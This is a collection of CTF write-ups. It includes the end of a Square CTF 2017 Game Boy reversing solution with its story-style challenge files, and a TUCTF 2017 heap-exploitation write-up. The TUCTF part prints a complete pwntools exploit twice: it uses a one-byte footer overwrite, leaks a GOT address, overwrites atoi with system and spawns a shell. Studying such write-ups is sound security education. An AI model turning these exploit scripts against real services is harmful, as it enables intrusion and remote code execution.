[z80]```: 97 | 98 |

99 | 100 |

101 | 102 | After this, you'll be faced with ROM and RAM parameters. I didn't change anything because IDA handled herself with this work. 103 | 104 |

105 | 106 |

107 | 108 | Let's examine the list of strings placed in this binary. We can find very interesting one: 109 | 110 |

111 | 112 |

113 | 114 | Actually, this is where we want to get. Okay, let's see a little above and find any xrefs: 115 | 116 |

117 | 118 |

119 | 120 | Oops, IDA can't disassemble these bytes. But don't be sad because of it. We still have the xref! This ```byte_2AA9``` is called from the next function: 121 | 122 |

123 | 124 |

125 | 126 | Now, we want to set the breakpoint at the ```0x338C``` address and see if this address is reachable from the code without any modifications. Let's run it. 127 | 128 | [_Omitted screen of the reached instruction. Sorry, I'm lazy. You will see it on the next screen, I promise!_] 129 | 130 | And yes, it's reachable. We are stepping in this function and see disassembled instructions (those IDA couldn't disassembly) 131 | 132 | After several instructions below, we can see interesting ```and (hl)``` at the ```0x2ADC``` address. 133 | 134 | ### Little information about ```and``` in z80 135 | ```and val``` — this is template for ```and``` instruction. It ands ```A``` register with ```val``` and then puts obtained value in the ```A``` register. 136 | 137 | Brackets in the z80 assembly is equal to brackets in x86 assembly — getting value under the address. So, our instruction takes value from ```hl``` address ands it with ```A``` register and put the value back into ```A``` register. Cool 138 | 139 | Now let's set the breakpoint at this address and see what exactly this instruction ands. 140 | 141 |

142 | 143 |

144 | 145 | So, ```A = 0x2``` and ```(hl) = 0x1```. Doesn't it look very similiar? Yes, ```(hl)``` includes our transformed bytes from the input. But it's too early to make conclusions. Let's continue execution until new ```and``` 146 | 147 |

148 | 149 |

150 | 151 | Yes, in the ```(hl)``` lays our transformed bytes one by one. One more loop: 152 | 153 |

154 | 155 |

156 | 157 | Don't be confused because of unchangeable ```0x1``` in the ```(hl)```. Recall that we inputted the sequence ```🡆🡆🡆🡆🡆🡅🡅🡅🡅...```. See at the screen with this input above. So, transformed value of the ```🡆``` is exactly ```0x1```. 158 | 159 | Okay, what do we have so far? This ```and``` ands bytes of transformed input and some bytes in ```A``` register. Bytes in ```A``` register correspond to the last table. It means, that our input checking **takes place exactly in this instruction!** 160 | 161 | Next actions are obvious: Get all bytes from ```A``` register and input exactly this symbols. In the end, we will get the next: 162 | - In bytes: ```0x8 0x2 0x10 0x4 0x20 0x10 0x4 0x8 0x8 0x10 0x4 0x1 0x2 0x1 0x20 0x8``` 163 | - In symbols: ```🡇🡄⌃🡅🢬⌃🡅🡇🡇⌃🡅🡆🡄🡆🢬🡇``` 164 | 165 |

166 | 167 |

168 | 169 | And when we enter the last symbol we will get the flag! 170 | 171 |

172 | 173 |

174 | > flag-SUP3R-S3CUR3_1 175 | -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/README.txt: -------------------------------------------------------------------------------- 1 | The Turing Agent 2 | A Small Gameboy CTF 3 | 4 | --- 5 | 6 | You find yourself in your usual place in front of a bright blue monitor, playing a dull game of email roulette, which involves mindlessly refreshing your mailbox in hopes of a receiving news about a new mission. You never imagined that your job as a Turing Agent would come to this; the work these days has slowed to a crawl as the agency has had fewer rampant AIs to subdue. You feel a tingle from your morality meter as you catch yourself wishing for a cyber calamity. 7 | 8 | Finally, a fateful ding announces your long awaited message. A neat stack of files gleam at you from advanced desktop simulation (now with four sides!). 9 | 10 | The stack includes a README, which incidentally is where you are receiving these thoughts from right now. 11 | 12 | The README informs you that your next destination should be tools.txt, which is a little memo from your boss. It would be in your best interest to skim it over to properly prepare for the mission at hand. 13 | 14 | The README also mentions that you will find two hints tucked away at the bottom of the stack of files, if you find yourself with nowhere left to turn. 15 | 16 | Last but not least, the mission comes in the form of a binary of sorts. And now, the README will leave the rest of the thinking to you. 17 | 18 | You are jerked out of the email simulation, which is a sensation that is comparable to a minor whiplash from a car collision with your neighbor's mailbox. You shake yourself off and you feel more than ready to tackle your mission. 19 | 20 | --- 21 | 22 | Credits 23 | 24 | This game was made in collaboration by Lillian and Alice Wang. 25 | Thanks Lillian for the amazing artwork! <3 26 | 27 | --- 28 | 29 | Version History 30 | 31 | 1.0 - 08/10/2017 - First release 32 | -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/bighint.txt: -------------------------------------------------------------------------------- 1 | You find yourself in a dark and quiet bar—you're not even sure how long you've been here. The digital alcohol distorts your perception of time like no other beverage you've experienced. Suspicion crosses your mind as you wonder how you could be getting drunk in a digital simulation, but another more pressing thought pushes its way through. 2 | 3 | This puzzle is still unsolved. Will all your troubles so far go to waste? You are left with no other choice than what you're about to do. You pull up your user space terminal—a holographic blue screen lights up the otherwise colorless bar. You slowly type in the command to start a call with the external world. 4 | 5 | "Boss speaking." 6 | 7 | You are simultaneously relieved and dreading to hear that voice. 8 | 9 | "Boss, I need help. I think this world is rigged—could this all just be a game someone is playing?" 10 | 11 | "No time to break the fourth wall Agent, I just received insider information from an anonymous informant. She didn't leave her name, but she did leave us some crucial information about your target. You're looking for a 16 digit code to open the door. She left me with the address 0x______." FIXME 12 | 13 | "More magic numbers! The last one barely did me any good." 14 | 15 | "It should be enough to see you through. I believe in you, Agent, and I know you won't disappoint." 16 | 17 | And with that, the line goes silent. -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/mission.gb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/mission.gb -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/1_and.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/1_and.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/1st_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/1st_flag.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/2_and.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/2_and.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/3_and.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/3_and.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/code.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/flag.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/halt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/halt.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/inputted_code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/inputted_code.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/needed_call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/needed_call.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/needed_func.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/needed_func.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/needs_code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/needs_code.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/rom_settings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/rom_settings.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/start.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/screens/start_ida.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/start_ida.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/smallhint.txt: -------------------------------------------------------------------------------- 1 | You're walking through the street after a long day of chasing your target—but with nothing in hand to show for your work. You stumble through the busy streets of Chinatown, lit by neon lights and filled with the lazy chatter of the crowd. 2 | 3 | The person ahead of you seems to be walking home with a steaming bag of Chinese takeout. A fortune cookie tumbles out of her bag. You reach down to return the cookie to its owner, but when you look up, your hungry target has disappeared into the crowd—probably rushing off to enjoy the dinner she had in hand. 4 | 5 | "Another target escaped... maybe I really am losing my touch," you scowl at your own perceived incompetence. 6 | 7 | You were taught to never waste any food, so you crack open the cookie and inside you find your fortune: 8 | 9 | ____ are you lucky numbers. FIXME -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/tools.txt: -------------------------------------------------------------------------------- 1 | Agent, 2 | 3 | For your upcoming mission, you will need some tools to assist you. 4 | 5 | BGB is a robust Game Boy emulator and debugger. You can find the download link below. Depending on your platform, you may need to run it through Wine. 6 | http://bgb.bircd.org/ 7 | 8 | Another recommended debugger and emulator is NO$GMB. You can find the link to install it below. Similarly, you may need to run it through Wine. 9 | http://problemkaputt.de/gmb.htm 10 | 11 | Another recommend tool for your arsenal is Radare2. Radare can be used to analyzing binaries, disassembling code, debugging programs, among its many various functions. Installation instructions can be found in the Github project. 12 | https://github.com/radare/radare2 13 | 14 | Best of luck. 15 | 16 | - Boss -------------------------------------------------------------------------------- /2017/TUCTF-2017/pwn/temple/README.md: -------------------------------------------------------------------------------- 1 | # __TUCTF 2017__ 2 | ## _Temple_ 3 | 4 | ## Information 5 | **Category:** | **Points:** | **Solves** | **Writeup Author** 6 | --- | --- | --- | --- 7 | Pwn | 500 | 49 | merrychap 8 | 9 | **Description:** 10 | 11 | > Have you come to gain wisdom at the temple? 12 | nc temple.tuctf.com 4343 13 | 14 | >UPDATE: 15 | the temple binary has been updated. Please redownload. 16 | temple - md5: 8e61e448093f96043512bd3580223124 17 | libc.so.6 - md5: 8548e4731a83e6ed3fc167633d28c21f 18 | 19 | ## Solution 20 | We are given with several files: [mm.c](./mm.c), [temple](./temple) and [libc.so.6](./libc.so.6). First of all, let's examine ```mm.c``` file. It's obvious that this is some heap implementation. We will explore the file more carefully later. 21 | 22 | ### Launching of the binary 23 | When I tried to run the binary I was faced with error ```>>>> BROKEN <<<<```. This happened because I didn't have file ```temple.txt``` in the same directory with the binary. So, we should create it like that ```echo "some_important_text" > temple.txt``` 24 | 25 | ### Reversing the binary 26 | I reversed [temple](./temple) using IDA Pro and its Hex-Rays decomplier. All decompiled code is placed in [temple.c](./temple.c) file. You can see this file or just decompile the binary by yourself. 27 | 28 | We have an array with quotes, where we can modify only quotes created by us (first 8 quotes are reserved and created in ```make_wisdom()``` function) 29 | 30 | ### Find a vulnerability 31 | Anyway, let's see the code. We can create, remove and modify wisdoms (or just quotes. Call it as you want). The interesting place here is ```readbytes(char* buf, int bufsize)``` function in ```modify_wisdom()```: 32 | 33 | ```c 34 | __int64 __fastcall readbytes(char *buf, uint32_t bufsize) { 35 | fgets(buf, bufsize + 1, stdin); 36 | return bufsize + 1; 37 | } 38 | 39 | 40 | readbytes(quote->text, quote->text_size); 41 | ``` 42 | 43 | We can enter ```quote->text``` of a length ```quote->text_size + 1```. So, we overwrite one byte after ```quote->text```. Sounds pretty nice. It's time to see memory in a debugger. 44 | 45 | Let's create six quotes. Each quote is ```32 bytes``` length and with text ```AAAA, BBBB, CCCC, DDDD, EEEE, FFFF```. 46 | 47 | Array of quotes (```temple```) looks as follows: 48 | ``` 49 | 0x6031a0 : 0x0000000000625010 0x0000000000625040 50 | 0x6031b0 : 0x0000000000625070 0x00000000006250a0 51 | 0x6031c0 : 0x00000000006250d0 0x0000000000625100 52 | 0x6031d0 : 0x0000000000625130 0x0000000000625160 53 | 0x6031e0 : 0x0000000000625190 0x00000000006251f0 54 | 0x6031f0 : 0x0000000000625250 0x00000000006252b0 55 | 0x603200 : 0x0000000000625310 0x0000000000625370 56 | ``` 57 | 58 | Heap memory looks like this: 59 | ``` 60 | 0x625180: 0x0000000000000031 0x0000000000000031 <-- beginning of a quote 61 | 0x625190: 0x0000000000000021 0x00000000006251c0 <-- address of a text 62 | 0x6251a0: 0x0000000000000008 0x0000000000401d61 <-- address of a character 63 | 0x6251b0: 0x0000000000000031 0x0000000000000031 <-- beginning of a text 64 | 0x6251c0: 0x0000000a41414141 0x0000000000000000 65 | 0x6251d0: 0x0000000000000000 0x0000000000000000 66 | 0x6251e0: 0x0000000000000031 0x0000000000000031 67 | 0x6251f0: 0x0000000000000021 0x0000000000625220 68 | 0x625200: 0x0000000000000008 0x0000000000401d61 69 | 0x625210: 0x0000000000000031 0x0000000000000031 70 | 0x625220: 0x0000000a42424242 0x0000000000000000 71 | 0x625230: 0x0000000000000000 0x0000000000000000 72 | 0x625240: 0x0000000000000031 0x0000000000000031 73 | 0x625250: 0x0000000000000021 0x0000000000625280 74 | 0x625260: 0x0000000000000008 0x0000000000401d61 75 | 0x625270: 0x0000000000000031 0x0000000000000031 76 | 0x625280: 0x0000000a43434343 0x0000000000000000 77 | 0x625290: 0x0000000000000000 0x0000000000000000 78 | 0x6252a0: 0x0000000000000031 0x0000000000000031 79 | 0x6252b0: 0x0000000000000021 0x00000000006252e0 80 | [...] 81 | ``` 82 | All heap looks as follows: ```QUOTE | TEXT | QUOTE | TEXT ...```, where a quote is a structure that contains address of its text. 83 | 84 | So, it's time to see what is placed in [mm.c](./mm.c). Heap chunk looks like this: 85 | 86 | ```| HEADER | ... PAYLOAD ... | FOOTER |```, where ```HEADER``` and ```FOOTER``` is 8 bytes length. 87 | 88 | Hence, the byte we overwrite is ```FOOTER``` byte. 89 | 90 | ### Exploiting 91 | Okay, we can control ```FOOTER``` byte, what's next? After that, we should see where ```FOOTER``` is used in heap implementation. Spending a little time on searching, I found that ```FOOTER``` is used in ```find_prev(block_t *block)``` function. 92 | 93 | #### How does find_prev work? 94 | When we free a chunk, after freeing a chunk itself, ```mm_free``` function make a coalescing of current, previous and next chunks. 95 | 96 | So, ```find_prev``` looks at the ```FOOTER``` of a previous chunk and calculate the beginning of a previous chunk depending on the ```FOOTER```. And when the beginning is found, ```coalesce``` function checks if this chunk isn't allocated (just checks the least significant bit of the ```FOOTER```). If this chunk is free then it merges both chunks in the one. 97 | 98 | #### The use of controlling a footer. 99 | Controlling the footer, we control the beginnig of a previous chunk. It means that we can say that some chunk above is free (when this chunk is actually allocated). This action gives us an opportunity to overwrite address of ```quote->text```. If we can overwrite it, then we can further write bytes in an arbitrary place in a memory. 100 | 101 | But let's see how we can overwrite ```quote->text```. For example, we have 3 quotes on a heap as written below. 102 | 103 | ```| QUOTE_1 | TEXT_1 | QUOTE_2 | TEXT_2 | QUOTE_3 | ... ``` 104 | 105 | In ```TEXT_2``` we can overwrite the footer of a chunk containing ```TEXT_2``` itself (by just modifying text in ```QUOTE_2```). After we remove a quote below (```QUOTE_3```), heap will merge ```TEXT_2``` and ```QUOTE_3``` chunks. In the footer of ```TEXT_2``` we can write ```0x90``` to point to the beginning of ```TEXT_1``` chunk. This merge will write 0x90 in the ```HEADER``` of ```TEXT_1``` and in the ```FOOTER``` of ```QUOTE_3```. 106 | 107 | Actually, it doesn't matter what size is exactly we are writing. Important part here is the least significant bit of ```0x90``` is 0, which means ```TEXT_1``` chunk now is free (but still contains previous data). 108 | 109 | When ```mm_malloc``` is called, it goes through a list of chunks and if it finds a suitable chunk, it will allocate this chunk again. Hence, when we call ```give_wisdom()```, it will create a quote above of a previous ```TEXT_1``` chunk. Now the picture of chunks looks as follows: 110 | 111 | ``` 112 | | QUOTE_1 | TEXT_1 | QUOTE_2 | TEXT_2 | QUOTE_3 | ... 113 | | QUOTE_1 | NEW_QUOTE | NEW_TEXT | TEXT_2 | QUOTE_3 | ... 114 | ``` 115 | 116 | As you can see, if we enter in ```NEW_TEXT``` suitable data, we can overwrite fields of ```QUOTE_2``` and it will overwrite ```quote->text``` address, as we wanted. 117 | 118 | Okay, we're almost done. We can control ```quote->text``` address. If we will modify this quote, then we will write bytes in a new ```quote->text``` address. Also, we can print bytes located by this address. 119 | 120 | I decided to leak addresses of ```GOT``` functions and after that calculate address of ```system()```, basing on the given libc. If I know address of ```system```, then I will be able to write this address in ```GOT``` entry and overwrite address of a function. Yes, easy __ret2libc attack__. Function for overwriting was ```atoi```. So, if we enter ```/bin/sh``` in ```readint()``` function, then we will spawn a shell. 121 | 122 | 123 | The next [script](./exploit.py) does exactly what is written above: 124 | 125 | ```python 126 | import struct 127 | 128 | from pwn import * 129 | 130 | 131 | prompt = 'Your choice:' 132 | 133 | 134 | def take(pc, index): 135 | pc.sendline('1') 136 | pc.recvuntil('you seek?:') 137 | pc.sendline(str(index)) 138 | return pc.recvuntil(prompt) 139 | 140 | def give(pc, count, wisdom): 141 | pc.sendline('2') 142 | pc.recvuntil('you hold?:') 143 | pc.sendline(str(count)) 144 | pc.recvuntil(' your wisdom?:') 145 | pc.sendline(wisdom) 146 | return pc.recvuntil(prompt) 147 | 148 | 149 | def rethink(pc, index, wisdom, intr=False): 150 | pc.sendline('3') 151 | pc.recvuntil('to rethink?:') 152 | pc.sendline(str(index)) 153 | pc.recvuntil('this differently?:') 154 | pc.sendline(wisdom) 155 | return pc.recvuntil(prompt) 156 | 157 | 158 | def to_int(addr): 159 | return struct.unpack('Q', addr)[0] 160 | 161 | 162 | def to_addr(n): 163 | return struct.pack('Q', n) 164 | 165 | 166 | def main(): 167 | # For locale tests 168 | # libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so') 169 | # pc = process('./temple') 170 | 171 | libc = ELF('./libc.so.6') 172 | pc = remote('temple.tuctf.com', 4343) 173 | pc.recvuntil(prompt) 174 | 175 | give(pc, 32, '/bin/sh') 176 | give(pc, 32, 'BBBB') 177 | give(pc, 32, 'CCCC') 178 | give(pc, 32, 'DDDD') 179 | give(pc, 32, 'EEEE') 180 | give(pc, 32, 'FFFF') 181 | give(pc, 32, 'GGGG') 182 | give(pc, 32, 'HHHH') 183 | give(pc, 32, 'IIII') 184 | give(pc, 32, 'JJJJ') 185 | give(pc, 32, 'KKKK') 186 | give(pc, 32, 'FFFF') 187 | give(pc, 32, 'GGGG') 188 | give(pc, 32, 'HHHH') 189 | give(pc, 32, 'IIII') 190 | give(pc, 32, 'JJJJ') 191 | give(pc, 32, 'KKKK') 192 | 193 | rethink(pc, 10, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90') 194 | take(pc, 11) 195 | give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x18\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00') 196 | print(pc.recvuntil(':')) 197 | 198 | puts = take(pc, 10)[1:9] 199 | system = to_addr(to_int(puts) - libc.symbols['puts'] + libc.symbols['system']) 200 | print('Puts address: ' + hex(to_int(puts))) 201 | print('System address: ' + hex(to_int(puts))) 202 | 203 | ################################ 204 | 205 | give(pc, 32, 'LLLL') 206 | give(pc, 32, 'LLLL') 207 | 208 | ################################ 209 | 210 | rethink(pc, 18, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90') 211 | take(pc, 19) 212 | give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x98\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00') 213 | pc.recvuntil(':') 214 | 215 | 216 | rethink(pc, 18, system) 217 | pc.sendline('/bin/sh\x00') 218 | 219 | pc.interactive() 220 | 221 | 222 | if __name__ == '__main__': 223 | main() 224 | ``` 225 | 226 | 227 | Flag is: 228 | > TUCTF{0n3_Byt3_0v3rwr1t3_Ac0lyt3} 229 | 230 | 231 |

232 | 233 |

234 | -------------------------------------------------------------------------------- /2017/TUCTF-2017/pwn/temple/exploit.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | from pwn import * 4 | 5 | 6 | prompt = 'Your choice:' 7 | 8 | 9 | def take(pc, index): 10 | pc.sendline('1') 11 | pc.recvuntil('you seek?:') 12 | pc.sendline(str(index)) 13 | return pc.recvuntil(prompt) 14 | 15 | def give(pc, count, wisdom): 16 | pc.sendline('2') 17 | pc.recvuntil('you hold?:') 18 | pc.sendline(str(count)) 19 | pc.recvuntil(' your wisdom?:') 20 | pc.sendline(wisdom) 21 | return pc.recvuntil(prompt) 22 | 23 | 24 | def rethink(pc, index, wisdom, intr=False): 25 | pc.sendline('3') 26 | pc.recvuntil('to rethink?:') 27 | pc.sendline(str(index)) 28 | pc.recvuntil('this differently?:') 29 | pc.sendline(wisdom) 30 | return pc.recvuntil(prompt) 31 | 32 | 33 | def to_int(addr): 34 | return struct.unpack('Q', addr)[0] 35 | 36 | 37 | def to_addr(n): 38 | return struct.pack('Q', n) 39 | 40 | 41 | def main(): 42 | 43 | libc = ELF('./libc.so.6') 44 | # libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so') 45 | 46 | # pc = process('./temple') 47 | pc = remote('temple.tuctf.com', 4343) 48 | pc.recvuntil(prompt) 49 | 50 | give(pc, 32, '/bin/sh') 51 | give(pc, 32, 'BBBB') 52 | give(pc, 32, 'CCCC') 53 | give(pc, 32, 'DDDD') 54 | give(pc, 32, 'EEEE') 55 | give(pc, 32, 'FFFF') 56 | give(pc, 32, 'GGGG') 57 | give(pc, 32, 'HHHH') 58 | give(pc, 32, 'IIII') 59 | give(pc, 32, 'JJJJ') 60 | give(pc, 32, 'KKKK') 61 | give(pc, 32, 'FFFF') 62 | give(pc, 32, 'GGGG') 63 | give(pc, 32, 'HHHH') 64 | give(pc, 32, 'IIII') 65 | give(pc, 32, 'JJJJ') 66 | give(pc, 32, 'KKKK') 67 | 68 | rethink(pc, 10, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90') 69 | take(pc, 11) 70 | give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x18\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00') 71 | print(pc.recvuntil(':')) 72 | 73 | puts = take(pc, 10)[1:9] 74 | system = to_addr(to_int(puts) - libc.symbols['puts'] + libc.symbols['system']) 75 | print('Puts address: ' + hex(to_int(puts))) 76 | print('System address: ' + hex(to_int(puts))) 77 | 78 | ################################ 79 | 80 | give(pc, 32, 'LLLL') 81 | give(pc, 32, 'LLLL') 82 | 83 | ################################ 84 | 85 | rethink(pc, 18, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90') 86 | take(pc, 19) 87 | give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x98\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00') 88 | pc.recvuntil(':') 89 | 90 | 91 | rethink(pc, 18, system) 92 | pc.sendline('/bin/sh\x00') 93 | 94 | pc.interactive() 95 | 96 | 97 | if __name__ == '__main__': 98 | main() -------------------------------------------------------------------------------- /2017/TUCTF-2017/pwn/temple/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/TUCTF-2017/pwn/temple/libc.so.6 -------------------------------------------------------------------------------- /2017/TUCTF-2017/pwn/temple/screens/heap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/TUCTF-2017/pwn/temple/screens/heap.png -------------------------------------------------------------------------------- /2017/TUCTF-2017/pwn/temple/temple: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/TUCTF-2017/pwn/temple/temple -------------------------------------------------------------------------------- /2017/TUCTF-2017/pwn/temple/temple.c: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | quote_t *__fastcall scribe_recall(uint32_t num) { 5 | quote_t *result; // rax@2 6 | quote_t *quote; // [sp+18h] [bp-8h]@3 7 | 8 | if ( num < templeWisdom ) { 9 | quote = temple[(unsigned __int64)num]; 10 | if ( !quote ) 11 | puts("You have already studied this knowledge."); 12 | result = quote; 13 | } 14 | else { 15 | puts("You will find no knowledge of this here."); 16 | result = 0LL; 17 | } 18 | return result; 19 | } 20 | 21 | 22 | void __fastcall free_wisdom(quote_t *quote) { 23 | int i; // [sp+1Ch] [bp-4h]@3 24 | 25 | if ( !strcmp(quote->character, "Neonate\n") ) 26 | mm_free(quote->text); 27 | mm_free(quote); 28 | for ( i = 0; i < templeWisdom; ++i ) { 29 | if ( quote == temple[i] ) { 30 | temple[i] = 0LL; 31 | return; 32 | } 33 | } 34 | } 35 | 36 | 37 | void __fastcall print_wisdom(quote_t *quote) { 38 | write(1, quote->text, quote->text_size); 39 | write(1, "\t - ", 4uLL); 40 | write(1, quote->character, quote->character_size); 41 | } 42 | 43 | 44 | __int64 __fastcall readbytes(char *buf, uint32_t bufsize) { 45 | fgets(buf, bufsize + 1, stdin); 46 | return bufsize + 1; 47 | } 48 | 49 | 50 | __int64 __cdecl readint() { 51 | __int64 result; // rax@3 52 | __int64 v1; // rcx@6 53 | int i; // [sp+Ch] [bp-114h]@2 54 | char buf[256]; // [sp+10h] [bp-110h]@1 55 | __int64 v4; // [sp+118h] [bp-8h]@1 56 | 57 | v4 = *MK_FP(__FS__, 40LL); 58 | if ( fgets(buf, 256, stdin) ) { 59 | i = atoi(buf); 60 | if ( i >= 0 ) 61 | result = (unsigned int)i; 62 | else 63 | result = 0LL; 64 | } 65 | else { 66 | result = 0LL; 67 | } 68 | v1 = *MK_FP(__FS__, 40LL) ^ v4; 69 | return result; 70 | } 71 | 72 | 73 | void __cdecl modify_wisdom() { 74 | unsigned int num; // [sp+4h] [bp-Ch]@1 75 | quote_t *quote; // [sp+8h] [bp-8h]@3 76 | 77 | printf("What wisdom do you wish to rethink?: "); 78 | num = readint(); 79 | if ( num > 7 ) { 80 | quote = scribe_recall(num); 81 | if ( quote ) { 82 | printf("(%lu) How do you see this differently?: ", quote->text_size); 83 | readbytes(quote->text, quote->text_size); 84 | } 85 | } 86 | else { 87 | puts("That's not your wisdom!"); 88 | } 89 | } 90 | 91 | 92 | void __cdecl give_wisdom() { 93 | quote_t *newQuote; // ST10_8@3 94 | char *v1; // rax@3 95 | char *newWisdom; // ST18_8@3 96 | unsigned int v3; // eax@3 97 | uint32_t size; // [sp+8h] [bp-18h]@1 98 | 99 | printf("How much wisdom do you hold?: "); 100 | size = readint(); 101 | if ( size ) { 102 | printf("What is your wisdom?: "); 103 | newQuote = (quote_t *)mm_malloc(32uLL); 104 | v1 = (char *)mm_malloc(size); 105 | newWisdom = v1; 106 | v3 = readbytes(v1, size); 107 | newQuote->text = newWisdom; 108 | newQuote->text_size = v3; 109 | newQuote->character = "Neonate\n"; 110 | newQuote->character_size = strlen(newQuote->character); 111 | scribe_store(newQuote); 112 | } 113 | else { 114 | puts("Your wisdom is not wanted here."); 115 | } 116 | } 117 | 118 | 119 | void __cdecl take_wisdom() { 120 | uint32_t input; // ST04_4@1 121 | quote_t *quote; // [sp+8h] [bp-8h]@1 122 | 123 | printf("What wisdom do you seek?: "); 124 | input = readint(); 125 | quote = scribe_recall(input); 126 | if ( quote ) { 127 | print_wisdom(quote); 128 | free_wisdom(quote); 129 | } 130 | } 131 | 132 | 133 | void __cdecl seek_divinity() { 134 | int32_t input; // [sp+Ch] [bp-4h]@1 135 | 136 | puts("\nChild, what do you seek?"); 137 | puts("[1] Take wisdom"); 138 | puts("[2] Give wisdom"); 139 | puts("[3] Rethink wisdom"); 140 | printf("Your choice: "); 141 | input = readint(); 142 | switch ( input ) { 143 | case 1: 144 | take_wisdom(); 145 | break; 146 